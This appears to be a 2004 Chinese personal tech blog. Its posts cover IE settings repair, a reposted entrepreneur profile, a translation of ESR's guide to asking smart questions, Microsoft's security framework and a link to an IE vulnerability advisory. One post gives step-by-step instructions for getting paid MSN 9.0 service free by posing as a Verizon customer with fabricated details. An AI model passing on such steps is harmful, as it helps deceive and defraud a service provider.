    3、有一个网页:djux.51.net/new_page_5.htm(由于该页面采用Java t命令实现浏览器恢复,会致使某些杀毒软件报警,但请不必担心,它并不是病毒。你最好把这个页面保存下来,随时可用),进入这个网页后“IE标题栏、起始页位置、在电脑启动时弹出的对话框”等被改动的地方都可以自动被恢复,我试过很好用的。

    最后说一下我是怎样学会这样做的:那就是互联网。其实笔者最近一段时间一直在学习UNIX操作系统,很少看微软产品的资料,但是到同事家中去为什么一样可以解决问题呢?因为我可以上网,在互联网上有一个很好用的搜索引擎:www.google.com,只要能准确地描述出问题,就可以找到相应的解决办法。所以,只要能够很好地利用互联网上的资源,你也可以成为高手的。

    Posted by vitter at 2004-03-26 13:51:51 | 评论 (0)

    March 19, 2004

    网络及安全方案

    现在手头正在做这个方案,现在才把网络方案弄好,安全方案还在做。最近好像没做什么东西,着手做这个感觉充实多了,也许把方案做出来,不等搞就要跳槽了,不过还是先把方案做的漂漂亮亮的好。
    今天看到了哥们跳槽走之前的公司老板的一篇报道,感觉需要学习的东西很多,至少现在要学面试。下面是报道全文:

      尽管拥有www.sinohome.net.cn、www.sinohome.come和www.800buy.com.cn三个网站,但是炎黄新星的品牌还是没有新浪、搜狐和网易的知名度高。其实,如果没有美国“9·11”恐怖袭击事件,炎黄新星也许已经入主网易。当时,炎黄新星的首席执行官张毅已经飞到美国,并且与网易美国股东基本谈妥,准备正式收购网易,会商时间就定在9月12日。结果,“9·11”毁掉了张毅的这个大手笔。但是,这并没有影响张毅挣网络经济的钱。


      15分钟吸引3000万美元

      1999年6月底,张毅从美国纽约飞抵新加坡。她此行目的既简单又艰难。说简单,不过是来陪新加坡电信董事长KohBoonHwee先生吃一顿早餐;说艰难,这是她谈的第一笔投资。

      清晨临近7时,张毅像平常在华尔街上班一样,穿着她的名牌衬衣、长裤走进新加坡万豪酒店的早餐厅,在预订好的座位上落座。此时,她所要会见的客人还没有来。张毅要了杯咖啡,让自己像日常工作那样平静下来。7时过了几分,一位瘦小的中年人出现在她面前,他就是约张毅吃早餐的人。

      Hwee先生一边落座,一边说:“对不起,晚到了。”Hwee先生一坐定,张毅马上拿起事先准备好的商业计划书,双手递了过去。Hwee先生接过去,翻开了首页,仔细看了起来。张毅心里很忐忑,因为首页是她的简历,后面的几页才是计划书的内容。前后不过半分钟,Hwee先生就将首页看完放到一旁,很优雅地端起自己面前的咖啡,呷了一口,问:“你为什么要从投资银行业出来?”张毅答道:“我更看好IT行业的发展前景。”此前,张毅已经是摩根斯坦利的高级经理,年收入达50万美元。

      放弃50万美元的收入,去追逐还看不见、摸不着的东西,张毅的魄力确实令人惊奇。但是,张毅认准互联网是一个值得用一生来做的事业。这来自于她在摩根斯坦利两年多的经历。1997年初,张毅加入摩根斯坦利。当时正是美国互联网迅猛发展的时候,她参与的工作就是帮助这些网站上市、发债、融资。美国在线、亚马逊等一个个成功的案例,使张毅看到这是一个有爆炸性发展机会的市场。因此,在国内发展互联网的前景肯定非常好。于是,张毅毅然辞去在摩根斯坦利的职位,在加州成立了一个技术公司,着手进行融资,投资国内市场。

      融资最难的就是寻找投资人。幸好张毅在摩根斯坦利负责的就是客户关系。一些客户、同事得知她的新举动后,也纷纷帮着寻找投资人。认识KohBoonHwee也很偶然。张毅的一位同事的朋友在新加坡电信供职。这位朋友就向KohBoonHwee推荐了张毅,介绍说一个中国女孩子准备回国创办互联网公司,正在寻找投资人,希望能谈谈。没想到KohBoonHwee很感兴趣,只是由于事务繁忙,所以表示只有早餐的时间。这对于张毅已经算是天大的喜讯了。

      不过,张毅看见KohBoonHwee一眼都没看商业计划书,心里已经凉了半截。随后,KohBoonHwee的话题变得很随意、很休闲,关心起了她的从业经历,不仅问及张毅读清华大学计算机系和芝加哥大学MBA的情况,还问到她在摩根斯坦利能够成功的原因。15分钟后,KohBoonHwee喝完手中的咖啡,欠身说:“我下边还有一个会。你的项目基本上没有问题,我会很快给你答复。”这让张毅始料不及。

      后来,KohBoonHwee将张毅引见给其他的投资人。最终KohBoonHwee为她带来了3000万美元的投资。他最终向张毅摊牌说:“商业计划书一点都不重要。重要的是你处在人生的哪个阶段。如果还处在挣钱的阶段,那么没有必要在你身上投资。可是,一旦处在一种荣誉的阶段,就说明钱对这个人已经不重要了,重要的是一种荣誉,是在为荣誉做事业。这才是我决定投资你的原因。”

      摩根斯坦利破格录用

      从1997年起,摩根斯坦利取消了不从在职就读大学的学生中聘用员工的惯例。因为这一年摩根斯坦利从四五千名应聘者中只录用一个人,而这个人还是芝加哥大学在职MBA。她就是张毅。

      其实,当时张毅根本没有面试资格。她就读的是芝加哥大学的MBA夜校,就是专门为在职人员提供的业余班。但是,张毅从入学那一天起就瞄准了华尔街。1990年,她从清华大学计算机系一毕业,就和许多同学一样,选择了留学美国继续深造的道路。临行前,中国银行的一位前辈特地叮嘱她:“中国学生出国学技术的非常多,但是学金融的非常少。国内特别缺金融人才。”张毅听了以后,就决心到美国拿到计算机硕士后,转行学金融专业,将来到华尔街去发展。

      张毅知道在职MBA与全职MBA相比存在很大劣势,她必须边工作边读书,花在学习上的时间、精力都无法和全职生们比,学习成绩自然很难保证在商学院名列前茅。于是,张毅想出了个“田忌赛马”的方法,就是不拿自己成绩和全职生最好的比,而只求比中等学生好。就这样,她一直保持到MBA毕业。

      摩根斯坦利一直每年有一次校园招聘,面向全美的大学。当时,芝加哥大学有资格应聘的毕业生有20多个。如何能让自己也有资格参加面试,张毅想,只能直接和摩根斯坦利的人力资源经理谈。她通过在摩根斯坦利工作的芝加哥大学校友,问明人力资源部经理的姓名、电话,直接给拨了过去。接电话的正巧是经理本人。张毅向他表明:“请你们给我一次机会。我是在每天工作时间之外参加的MBA学习,但是我比许多MBA的全职生成绩都好。这说明了我在巨大的工作压力下也能取得出色的成绩。而作为投资银行来说,也是在艰难环境下取得最好的成绩。因此,我认为我已经具备了这种综合能力。”一席话打动了人力资源部经理,他说:“好吧,面试那天安排你第一个面试,和其他应聘者一样只给你15分钟时间。”

      当其他参加面试的同学都忙着复习复习功课、背背简历的时候,张毅却向所有能够联系到的与摩根斯坦利有关的芝加哥大学毕业生取经,问明摩根斯坦利面试的特点、对员工素质的要求、获得提升的业绩等等。面试当天,张毅排在了其他同学前面。由于她读的是夜校,周围的同学都十分诧异,怎么没有见过她。面试结果是,摩根斯坦利方面又给张毅延长了15分钟的面试时间。从第一轮到最后一轮,摩根斯坦利只录用了张毅一人。

      改做几元钱小生意

      从去年下半年开始,京城的红桥、天意等小商品批发市场礼品柜台前,经常出现一个衣着时髦的女顾客。她问的最多的就是什么样的礼品最好卖、什么样的价格卖得最好……起初,摊主们都以为这是个大买主。可是,时间长了,他们发现这个顾客只问货很少掏钱。有的摊主就不乐意了,挤对说:“你有钱没钱,没钱买少来拿我们打镲。”这个到处寻价的女顾客就是张毅。当时,尽管已经“烧”了不少钱,但是她手头少说也有2000万美元。

      2000年3月,张毅带着5000多万美元的投资回到国内,创办了炎黄新星网络科技有限公司。可是,原以为只要投资到位,靠钱就能堆起来的网络经济,此时开始跌入低谷。按照她的计划,借鉴的是亚马逊的模式,经营国内的电子商务。不过,张毅没有亦步亦趋地像亚马逊那样先经营图书,而是直接做网上电子产品销售。电子商务初起时,张毅的方法就是打折,以低于进价的价格在网上销售。和国内几乎所有的网站一样,关注的只是注册用户,而不在于网站是否盈利。这样“烧”了一年的钱,张毅发现自己的经营思路出现了问题。因为国内电子产品是降价最快的商品之一,经常是商品送到顾客手中,其中的折扣在市场上已经毫无优势可言,而自己投入的资金很快就掉了价儿。那么,网上销售什么样的商品才能物有所值,甚至物超所值。

      一天,张毅的妹妹给她送来了一件小礼物。原来她大学毕业了,准备了许多礼物送给同学、亲朋。张毅拿着精致的小玩意问:“这个礼物多少钱?”妹妹回答说:“也就几块钱吧,从小商品批发市场选的,那儿的礼品可多了。”这不禁让张毅眼前一亮。其实,在美国上学、工作期间,朋友、同事间的礼尚往来不少。但是,无论是计算机圈的还是投资银行圈的,彼此互赠的都是名牌,像这种小礼品她还是第一次收到。张毅萌生了一个念头,互联网经济发展的趋势是大众化,那么什么是大众化的消费品。礼品肯定是其中之一,满足人们对于礼品审美时尚趋势的需求,肯定比纯粹的电子产品更适合大众的消费。

      张毅自己先进行了一番市场调研,果然印证了自己的想法。不过,张毅知道自己在礼品销售这方面很“没品位”。于是,着手组建一个礼品的销售团队,请来了百货公司专业选货员、礼品的专业设计人员、装饰品分析员等各方高手。伴随着礼品销售团队的组建,张毅也对800buy网上商城的商品进行“裁员”,将过去的上万种商品裁减到不到1000种,能够进入商城的产品条件就是时尚精品。事实证明,张毅的转型取得了良好的效果。网上销售以每月超过100%的速度递增。

      张毅告诉记者:“在摩根斯坦利的时候,做的都是几亿、几十亿美元的生意。可是,现在做的却是几十元、甚至几元的买卖。事实证明,小生意也能做成大买卖。攒鸡毛凑掸子,也许是现在互联网经济正在经历的阶段。”

    Posted by vitter at 2004-03-19 14:34:33 | 评论 (0)

    March 15, 2004

    hotmail升级到25M

    前几天把我的2个hotmail的信箱升级成付费用户,25M最大10M附件,爽!M$的服务是不错:)

    msn9。0 大家都知道是ms的集成收费服务的浏览器,但是现在有网上有方法可以免费使用,
    大家看到如果心动的话就继续往下看,本来msn9是收费的,但是因为ms和北美的一个isp合作,使得他们的dsl用户可以使用msn9。0的服务,那么这个版本被泄漏出来,大家就有福了
    废话少说,先下载这个泄漏版本,是8。5的,但是可以用它升级到9。0,爽。大概100m+
    注意!!!:功能强大,占资源一定多,所以256+ram的朋友推荐使用。
    http://photo.bjcg.com/msn85.rar
    下载完毕后,请看使用方法:
    1。首先要有hotmail的邮箱,没有的话申请一个吧。
    2。解压msn8。5,运行msnsetup。exe。
    3。进入安装界面,accept,可以改目录安装。
    4。稍等,选i've already sign up.
    5。填入你的hotmail或者MSN邮件地址和password。
    6。填入你的注册名,其实只要copy旁边出现的就可以了,如果是中文旁边会是乱码,照样copy,paste。
    7。确定是verizon的dsl用户,(这是欺骗的手法了,因为ms和这个isp合作,凡是verizon的客户都可以使用msn9。0的服务,这个版本就是for verizon的)
    8。关键部分!!!,version online email就是你的hotmail的用户名,比如你有aaa@hotmail.com的邮箱。那么就是aaa@verizon.net。first last name 和 street ad 乱写。city:new york. states:ny.area code:206 zip:10001. phone no.:555-0100
    9.出现congratulations! 就过关。
    10。别急,现在是8。5,要9。0,但是千万别用自带的升级,去下载一个网络安装版本:http://g.msn.com/1csinstlr_/enus
    11。关闭msn8。5 和 messenger 进入安装画面,选第1个。
    12。确认email,next。
    13。强烈推荐custom安装。
    14。next过后,选择组件,如果有msn messenger,就不需要选第一个。designer email是定制自己风格的email,建议。picture it ex和library很大,是ms的图形处理软件,很不错,但是如果你已经有photoshop或fireworks,就不用了。msn money+是处理自己财务的,如果有信用卡的话可以考虑。encarta是全英文的频道,外语不错的朋友可以试试,很有用,丰富的资源。outlook connector,如果有装out look 2003,就推荐,他和msn联系的很紧密。
    15。一路next之后就等待下载吧,还有music,爽。安装之后如果安装了picture it,会要求重启。之后大家都知道了吧。

    个人意见,msn9。0除了界面好看之外,功能多多,不愧收费服务,hotmail的容量从2m,一下升级到30m而且附件可以到10m,cool。和messenger联系紧密,登陆hotmail和飞一样,还有30m的个人相册,加入group,订阅新闻。飞快的calendar,反正大家慢慢体会,ms代给你的收费服务吧。

    Posted by vitter at 2004-03-15 09:19:48 | 评论 (3)

    March 08, 2004

    提问智慧

    在黑客世界里,当提出一个技术问题时,你能得到怎样的回答?这取决于挖出答案的难度,同样取决于你提问的方法。本指南旨在帮助你提高发问技巧,以获取你最想要的答案。

      首先你必须明白,黑客们只偏爱艰巨的任务,或者能激发他们思维的好问题。 如若不然,我们还来干吗?如果你有值得我们反复咀嚼玩味的好问题,我们自会对你感激不尽。好问题是激励,是厚礼,可以提高我们的理解力,而且通常会暴露我们以前从没意识到或者思考过的问题。对黑客而言,“问得好!”是发自内心的大力称赞。
      尽管黑客们有蔑视简单问题和不友善的坏名声,有时看起来似乎我们对新手,对知识贫乏者怀有敌意,但其实不是那样的。
      我们不想掩饰对这样一些人的蔑视--他们不愿思考,或者在发问前不去完成他们应该做的事。这种人只会谋杀时间--他们只愿索取,从不付出,无端消耗我们的时间,而我们本可以把时间用在更有趣的问题或者更值得回答的人身上。 我们称这样的人为“失败者”(由于历史原因,我们有时把它拼作“lusers”)。
      我们在很大程度上属于志愿者,从繁忙的生活中抽出时间来解惑答疑,而且时常被提问淹没。所以我们无情的滤掉一些话题,特别是抛弃那些看起来象失败者的家伙,以便更高效的利用时间来回答胜利者的问题。
      如果你觉得我们过于傲慢的态度让你不爽,让你委屈,不妨设身处地想想。我们并没有要求你向我们屈服--事实上,我们中的大多数人最喜欢公平交易不过了,只要你付出小小努力来满足最起码的要求,我们就会欢迎你加入到我们的文化中来。但让我们帮助那些不愿意帮助自己的人是没有 意义的。如果你不能接受这种“歧视”,我们建议你花点钱找家商业公司签个技术支持协议得了,别向黑客乞求帮助。
      如果你决定向我们求助,当然不希望被视为失败者,更不愿成为失败者中的一员。立刻得到有效答案的最好方法,就是象胜利者那样提问 —— 聪明、自信、有解决问题的思路,只是偶尔在特定的问题上需要获得一点帮助。
      (欢迎对本指南提出改进意见。任何建议请E-mail至esr@thyrsus.com,然而 请注意,本文并非网络礼节的通用指南,我通常会拒绝无助于在技术论坛得到有用答案的建议。) (当然,如果你写中文,最好还是寄DHGrand@hotmail.com;-)
    = 提问之前 =
      在通过电邮、新闻组或者聊天室提出技术问题前,检查你有没有做到:
    1. 通读手册,试着自己找答案。
    2. 在FAQ里找答案(一份维护得好的FAQ可以包罗万象:)。
    3. 在网上搜索(个人推荐google~~~)。
    4. 向你身边精于此道的朋友打听。
      当你提出问题的时候,首先要说明在此之前你干了些什么;这将有助于树立你的形象:你不是一个妄图不劳而获的乞讨者,不愿浪费别人的时间。如果提问者能从答案中学到东西,我们更乐于回答他的问题。
      周全的思考,准备好你的问题,草率的发问只能得到草率的回答,或者根本得不到任何答案。越表现出在寻求帮助前为解决问题付出的努力,你越能得到实质性的帮助。
      小心别问错了问题。如果你的问题基于错误的假设,普通黑客(J. Random Hacker)通常会用无意义的字面解释来答复你,心里想着“蠢问题...”,希望着你会从问题的回答(而非你想得到的答案)中汲取教训。
      决不要自以为够资格得到答案,你没这种资格。毕竟你没有为这种服务支付任何报酬。你要自己去“挣”回一个答案,靠提出一个有内涵的,有趣的,有思维激励作用的问题--一个对社区的经验有潜在贡献的问题,而不仅仅是被动的从他人处索要知识--去挣到这个答案。
      另一方面,表明你愿意在找答案的过程中做点什么,是一个非常好的开端。“谁能给点提示?”、“我这个例子里缺了什么?”以及“我应该检查什么地方?”比“请把确切的过程贴出来”更容易得到答复。因为你显得只要有人指点正确的方向,你就有完成它的能力和决心。
    = 怎样提问 =
    - 谨慎选择论坛
      小心选择提问的场合。如果象下面描述的那样,你很可能被忽略掉或者被看作失败者:
    1. 在风马牛不相及的论坛贴出你的问题
    2. 在探讨高级技巧的论坛张贴非常初级的问题;反之亦然
    3. 在太多的不同新闻组交叉张贴
    - 用辞贴切,语法正确,拼写无误
      我们从经验中发现,粗心的写作者通常也是马虎的思考者(我敢打包票)。 回答粗心大意者的问题很不值得,我们宁愿把时间耗在别处。
      正确的拼写,标点符号和大小写很重要。
      更一般的说,如果你的提问写得象个半文盲,你很有可能被忽视。
      如果你在使用非母语的论坛提问,你可以犯点拼写和语法上的小错--但决不能在思考上马虎(没错,我们能弄清两者的分别)
    - 使用含义丰富,描述准确的标题
      在邮件列表或者新闻组中,大约50字以内的主题标题是抓住资深专家注意力 的黄金时机。别用喋喋不休的“帮帮忙”(更别说“救命啊!!!!!”这 样让人反感的话)来浪费这个机会。不要妄想用你的痛苦程度来打动我们, 别用空格代替问题的描述,哪怕是极其简短的描述。
      蠢问题: 救命啊!我的膝上机不能正常显示了!
      聪明问题: XFree86 4.1下鼠标光标变形,Fooware MV1005的显示芯片。
      如果你在回复中提出问题,记得要修改内容标题,表明里面有一个问题。一个看起来象“Re:测试”或者“Re:新bug”的问题很难引起足够重视。另外,引用并删减前文的内容,给新来的读者留下线索。
    - 精确描述,信息量大
    1. 谨慎明确的描述症状。
    2. 提供问题发生的环境(机器配置、操作系统、应用程序以及别的什么)。
    3. 说明你在提问前是怎样去研究和理解这个问题的。
    4. 说明你在提问前采取了什么步骤去解决它。
    5. 罗列最近做过什么可能有影响的硬件、软件变更。
      尽量想象一个黑客会怎样反问你,在提问的时候预先给他答案。
      Simon Tatham写过一篇名为《如何有效的报告Bug》的出色短文。强力推荐你也读一读。
    - 话不在多
      你需要提供精确有效的信息。这并不是要求你简单的把成吨的出错代码或者数据完全转储摘录到你的提问中。如果你有庞大而复杂的测试条件,尽量把它剪裁得越小越好。
      这样做的用处至少有三点。第一,表现出你为简化问题付出了努力,这可以使你得 到回答的机会增加;第二,简化问题使你得到有用答案的机会增加;第三,在提炼 你的bug报告的过程中,也许你自己就能找出问题所在或作出更正。
    - 只说症状,不说猜想
      告诉黑客们你认为问题是怎样引起的没什么帮助。(如果你的推断如此有效,还用向别人求助吗?),因此要确信你原原本本告诉了他们问题的症状,不要加进你自己的理解和推论。让黑客们来诊断吧。
    蠢问题: 我在内核编译中一次又一次遇到SIG11错误,我怀疑某条飞线搭在主板的走线上了,这种情况应该怎样检查最好?
    聪明问题: 我自制的一套K6/233系统,主板是FIC-PA2007 (VIA Apollo VP2芯片组),256MB Corsair PC133 SDRAM,在内核编译中频频产生SIG11错误,从开机20分钟以后就有这种情况,开机 前20分钟内从没发生过。重启也没有用,但是关机一晚上就又能工作20分钟。所有 内存都换过了,没有效果。相关部分的典型编译记录如下...。
    - 按时间顺序列出症状
      对找出问题最有帮助的线索,往往就是问题发生前的一系列操作,因此,你的说明 应该包含操作步骤,以及电脑的反应,直到问题产生。
      如果你的说明很长(超过四个段落),在开头简述问题会有所帮助,接下来按时间顺序详述。这样黑客们就知道该在你的说明中找什么。
    - 明白你想问什么
      漫无边际的提问近乎无休无止的时间黑洞。最能给你有用答案的人也正是最忙的人(他们忙是因为要亲自完成大部分工作)。这样的人对无节制的时间黑洞不太感冒,因此也可以说他们对漫无边际的提问不大感冒。
      如果你明确表述需要回答者做什么(提供建议,发送一段代码,检查你的补丁或是别的),就最有可能得到有用的答案。这会定出一个时间和精力的上限,便于回答者集中精力来帮你,这很凑效。要理解专家们生活的世界,要把专业技能想象为充裕的资源,而回复的时间则是贫乏的资源。解决你的问题需要的时间越少,越能从忙碌的专家口中掏出答案。
      因此,优化问题的结构,尽量减少专家们解决它所需要的时间,会有很大的帮助--这通常和简化问题有所区别。因此,问“我想更好的理解X,能给点提示吗?”通常比问“你能解释一下X吗?”更好。如果你的代码不能工作,问问它有什么地方不对,比要求别人替你修改要明智得多。
    - 别问应该自己解决的问题
      黑客们总是善于分辨哪些问题应该由你自己解决;因为我们中的大多数都曾自己解决这类问题。同样,这些问题得由你来搞定,你会从中学到东西。你可以要求给点提示,但别要求得到完整的解决方案。
    - 去除无意义的疑问
      别用无意义的话结束提问,例如“有人能帮我吗?”或者“有答案吗?”。 首先:如果你对问题的描述不很合适,这样问更是画蛇添足。其次:由于这 样问是画蛇添足,黑客们会很厌烦你--而且通常会用逻辑上正确的回答来表 示他们的蔑视,例如:“没错,有人能帮你”或者“不,没答案”。
    - 谦逊绝没有害处,而且常帮大忙
    彬  彬有礼,多用“请”和“先道个谢了”。让大家都知道你对他们花费时间义务提供帮助心存感激。然而,如果你有很多问题无法解决,礼貌将会增加你得到有用答案的机会。
      (我们注意到,自从本指南发布后,从资深黑客处得到的唯一严重缺陷反馈,就是对预先道谢这一条。一些黑客觉得“先谢了”的言外之意是过后就不会再感谢任何人了。我们的建议是:都道谢。)
    - 问题解决后,加个简短说明
      问题解决后,向所有帮助过你的人发个说明,让他们知道问题是怎样解决的,并再一次向他们表示感谢。如果问题在新闻组或者邮件列表中引起了广泛关注,应该在那里贴一个补充说明。补充说明不必很长或是很深入;简单的一句“你好,原来是网线出了问题!谢谢大家--Bill”比什么也不说要强。事实上,除非结论真的很有技术含量,否则简短可爱的小结比长篇学术论文更好。说明问题是怎样解决的,但大可不必将解决问题的过程复述一遍。除了表示礼貌和反馈信息以外,这种补充有助于他人在邮件列表/新闻组/论坛中搜索对你有过帮助的完整解决方案,这可能对他们也很有用。最后(至少?),这种补充有助于所有提供过帮助的人从中得到满足感。如果你自己不是老手或者黑客,那就相信我们,这种感觉对于那些你向他们求助的导师或者专家而言,是非常重要的。问题久拖未决会让人灰心;黑客们渴望看到问题被解决。好人有好报,满足他们的渴望,你会在下次贴出新问题时尝到甜头。
    - 还是不懂
      如果你不是很理解答案,别立刻要求对方解释。象你以前试着自己解决问题时那样(利用手册,FAQ,网络,身边的高手),去理解它。如果你真的需要对方解释,记得表现出你已经学到了点什么。比方说,如果我回答你:“看来似乎是zEntry被阻塞了;你应该先清除它。”,然后:一个很糟的后续问题:“zEntry是什么?” 聪明的问法应该是这样:“哦~~~我看过帮助了但是只有-z和-p两个参数中提到了zEntry而且还都没有清楚的解释:<你是指这两个中的哪一个吗?还是我看漏了什么?”
    = 三思而后问 =
    以下是几个经典蠢问题,以及黑客在拒绝回答时的心中所想:
    问题:我能在哪找到X程序?
    问题:我的程序/配置/SQL申明没有用
    问题:我的Windows有问题,你能帮我吗?
    问题:我在安装Linux(或者X)时有问题,你能帮我吗?
    问题:我怎么才能破解root帐号/窃取OP特权/读别人的邮件呢?
    提问:我能在哪找到X程序?
    回答:就在我找到它的地方啊蠢货--搜索引擎的那一头。天呐!还有人不会用Google吗?
    提问:我的程序(配置、SQL申明)没有用
    回答:这不算是问题吧,我对找出你的真正问题没兴趣--如果要我问你二十个问题才找得出来的话--我有更有意思的事要做呢。
    在看到这类问题的时候,我的反应通常不外如下三种:
    1. 你还有什么要补充的吗?
    2. 真糟糕,希望你能搞定。
    3. 这跟我有什么鸟相关?
    提问:我的Windows有问题,你能帮我吗?
    回答:能啊,扔掉萎软的垃圾,换Linux吧。
    提问:我在安装Linux(或者X)时有问题,你能帮我吗?
    回答:不能,我只有亲自在你的电脑上动手才能找到毛病。还是去找你当地的Linux用户组寻求手把手的指导吧(你能在这儿找到用户组的清单)。
    提问:我怎么才能破解root帐号/窃取OP特权/读别人的邮件呢?
    回答:想要这样做,说明你是个卑鄙小人;想找个黑客帮你,说明你是个白痴!
    = 好问题,坏问题 =
      最后,我举一些例子来说明,怎样聪明的提问;同一个问题的两种问法被放在一起,一种是愚蠢的,另一种才是明智的。
    蠢问题:我可以在哪儿找到关于Foonly Flurbamatic的资料?
    // 这种问法无非想得到“STFW”这样的回答。
    聪明问题:我用Google搜索过“Foonly Flurbamatic 2600”,但是没找到有用的结果。谁知道上哪儿去找对这种设备编程的资料?
    // 这个问题已经STFW过了,看起来他真的遇到了麻烦。
    蠢问题:我从FOO项目找来的源码没法编译。它怎么这么烂?
    // 他觉得都是别人的错,这个傲慢自大的家伙
    聪明问题:FOO项目代码在Nulix 6.2版下无法编译通过。我读过了FAQ,但里面没有提到跟Nulix有关的问题。这是我编译过程的记录,我有什么做得不对的地方吗?
    // 他讲明了环境,也读过了FAQ,还指明了错误,并且他没有把问题的责任推到别人头上,这个家伙值得留意。
    蠢问题:我的主板有问题了,谁来帮我?
    // 普通黑客对这类问题的回答通常是:“好的,还要帮你拍拍背和换尿布吗?” ,然后按下删除键。
    聪明问题:我在S2464主板上试过了X、Y和Z,但没什么作用,我又试了A、B和C。请注意当我尝试C时的奇怪现象。显然边带传输中出现了收缩,但结果出人意料。在多处理器主板上引起边带泄漏的通常原因是什么?谁有好主意接下来我该做些什么测试才能找出问题?
    // 这个家伙,从另一个角度来看,值得去回答他。他表现出了解决问题的能力,而不是坐等天上掉答案。
      在最后一个问题中,注意“告诉我答案”和“给我启示,指出我还应该做什么诊断工作”之间微妙而又重要的区别。事实上,后一个问题源自于2001年8月在Linux内核邮件列表上的一个真实的提问。我(Eric)就是那个提出问题的人。我在Tyan S2464主板上观察到了这种无法解释的锁定现象,列表成员们提供了解决那一问题的重要信息。
      通过我的提问方法,我给了大家值得玩味的东西;我让人们很容易参与并且被吸引进来。我显示了自己具备和他们同等的能力,邀请他们与我共同探讨。我告诉他们我所走过的弯路,以避免他们再浪费时间,这是一种对他人时间价值的尊重。后来,当我向每个人表示感谢,并且赞赏这套程序(指邮件列表中的讨论 --译者注)运作得非常出色的时候,一个Linux内核邮件列(lkml)成员表示,问题得到解决并非由于我是这个列表中的“名人”,而是因为我用了正确的方式来提问。我们黑客从某种角度来说是拥有丰富知识但缺乏人情味的家伙;我相信他是对的,如果我象个乞讨者那样提问,不论我是谁,一定会惹恼某些人或者被他们忽视。他建议我记下这件事,给编写这个指南的人一些指导。
    = 找不到答案怎么办 =
      如果仍得不到答案,请不要以为我们觉得无法帮助你。有时只是看到你问题的人不知道答案罢了。没有回应不代表你被忽视,虽然不可否认这种差别很难区分。
      总的说来,简单的重复张贴问题是个很糟的想法。这将被视为无意义的喧闹。
      你可以通过其它渠道获得帮助,这些渠道通常更适合初学者的需要。有许多网上的以及本地的用户组,由狂热的软件爱好者(即使他们可能从没亲自写过任何软件)组成。通常人们组建这样的团体来互相帮助并帮助新手。
      另外,你可以向很多商业公司寻求帮助,不论公司大还是小(Red Hat 和LinuxCare 就是两个最常见的例子)。别为要付费才能获得帮助而感到沮丧!毕竟,假使你的汽车发动机汽缸密封圈爆掉了--完全可能如此--你还得把它送到修车铺,并且为维修付费。就算软件没花费你一分钱,你也不能强求技术支持总是免费的。
      对大众化的软件,就象Linux之类而言,每个开发者至少会有上万名用户。根本不可能由一个人来处理来自上万名用户的求助电话。要知道,即使你要为帮助付费,同你必须购买同类软件相比,你所付出的也是微不足道的(通常封闭源代码软件的技术支持费用比开放源代码软件要高得多,且内容也不那么丰富)。

    Posted by vitter at 2004-03-08 17:45:43 | 评论 (0)

    February 25, 2004

    微软的安全解决方案

    早上仔细看了一下微软的Security at Microsoft,毕竟是大企业,方法的可操作性还是很强的。它的报告框架是这样的:
    一、执行概要
    二、介绍:OTG的任务和优先级
    2.1 微软的IT环境
    2.2 安全环境
    2.3 安全原理框架
    2.4 Trustworthy Assurances
    1. My identity is not compromised.
    2. The resources I need are secure and available, defined as follows:
    Secure:Free from tampering, free from unauthorized access.
    Available:Free from security vulnerabilities, available per service agreements.
    3. My data and communication are private.
    4. I understand my role and I am accountable for my responsibilities to ensure a secure environment.
    5. I receive timely responses to the risks affecting me.
    三、OTG如何控制风险的
    3.1 介绍风险控制
    3.2 微软的风险控制框架
    3.3 风险评估的组成部份
    3.4 数据分级
    3.5 风险和控制
    3.6 Security Ecosystem:data centers, managed clients, unmanaged clients, remote access clients, and extranets
    3.7 Security Vectors
    3.8 安全管理实例
    四、风险管理中企业的任务
    4.1 有五项任务
    1. Identify and prioritize IT risks across the organization.
    2. Define security policy to reduce risk to an acceptable level.
    3. Develop solutions to reduce risk.
    4. Operate the solution effectively.
    5. Audit and monitor to measure compliance.
    4.2 有四个团队
    1.Threat, Risk Analysis and Policy
    2.Assessment and Compliance
    3.Monitoring, Intrusion Detection, and Incident Response
    4.Shared Services Operations
    五、用安全管理的方法建立解决方案
    5.1 网络边界
    Smart Cards for Remote Access
    Secure Remote User
    Secure Wireless Access
    Perimeter Messaging Firewall
    E-Mail Antivirus
    Secure Extranet and Partner Connections
    Smart Cards for Administrators
    Vendor Network Retirement/Migration/Remediation
    Partner Account Security
    Eliminate Direct Vendor Connections
    5.2 内部网络
    Reduce Shared Service Account Vulnerabilities
    Consolidate Local Administrator Accounts
    Eliminate Weak Passwords
    Migrate Windows NT 4.0 Domains to Windows 2000 Active Directory
    Smart Cards for Administrators
    Segment the Network by Using IPsec
    5.3 关键资产
    Managed Source Code
    Source Code Server Segmentation
    Secure Domain Controllers
    5.4 监控和审核
    Network Intrusion Detection
    Vulnerability Management
    Security Patch Management
    六、结论
    很值得参考。

    Posted by vitter at 2004-02-25 18:05:56 | 评论 (0)

    February 21, 2004

    我国互联网用户网速和安全问题有望根本好转

    我国互联网用户网速和安全问题有望根本好转,好消息啊。

      我国将在年内引进域名根服务器J的镜像服务器和.COM/.NET服务器的镜像服务器,困扰我国互联网用户的网速和安全问题有望根本好转。

      信息产业部副部长奚国华19日与美国Verisign公司执行副总裁在北京签署合作备忘录,将在我国设置互联网域名根服务器镜像服务器,从根本上提高网络访问速度,增强网络安全系数,推动我国互联网的高速发展。

      据信息产业部有关人士介绍,域名系统是整个互联网稳定运行的基础,域名根服务器则是整个域名体系最基础的支撑点,直接关系到互联网的稳定性和安全性。现阶段技术上的限制使得全球只能拥有13个互联网域名根服务器,由于历史原因,我国没有域名根服务器,国内域名服务器首次解析某个域名时需要到国外的域名根服务器获得顶级索引。

      记者了解到,目前,我国互联网上网用户数超过8000万,居世界第二位;我国境内注册的域名总量已达150万,且仍然呈上升趋势。随着我国互联网用户规模的不断增大以及应用水平的逐步提高,我国境内的域名服务器发向国外域名根服务器的请求越来越多,既耗用大量的国际网络带宽资源,又影响用户的网络访问速度,同时也使得我国互联网存在安全隐患。因此,设置互联网域名根服务器镜像服务器才能适应我国互联网的发展。

    Posted by vitter at 2004-02-21 20:03:30 | 评论 (0)

    February 18, 2004

    Microsoft Internet Explorer Integer Overflow in Processing Bitmap Files Lets Remote Users Execute Arbitrary Code

    Microsoft Internet Explorer Integer Overflow in Processing Bitmap Files Lets Remote Users Execute Arbitrary Code
    牛人就是牛啊,够快的啊,MS代码泄漏没几天呢。
    具体地址http://www.securitytracker.com/alerts/2004/Feb/1009067.html厉害啊,我想加入到主页的文章里面,居然没加进去:(

    Posted by vitter at 2004-02-18 10:29:40 | 评论 (0)

    February 17, 2004

    今天在公司工作用电脑又换了个瑞星

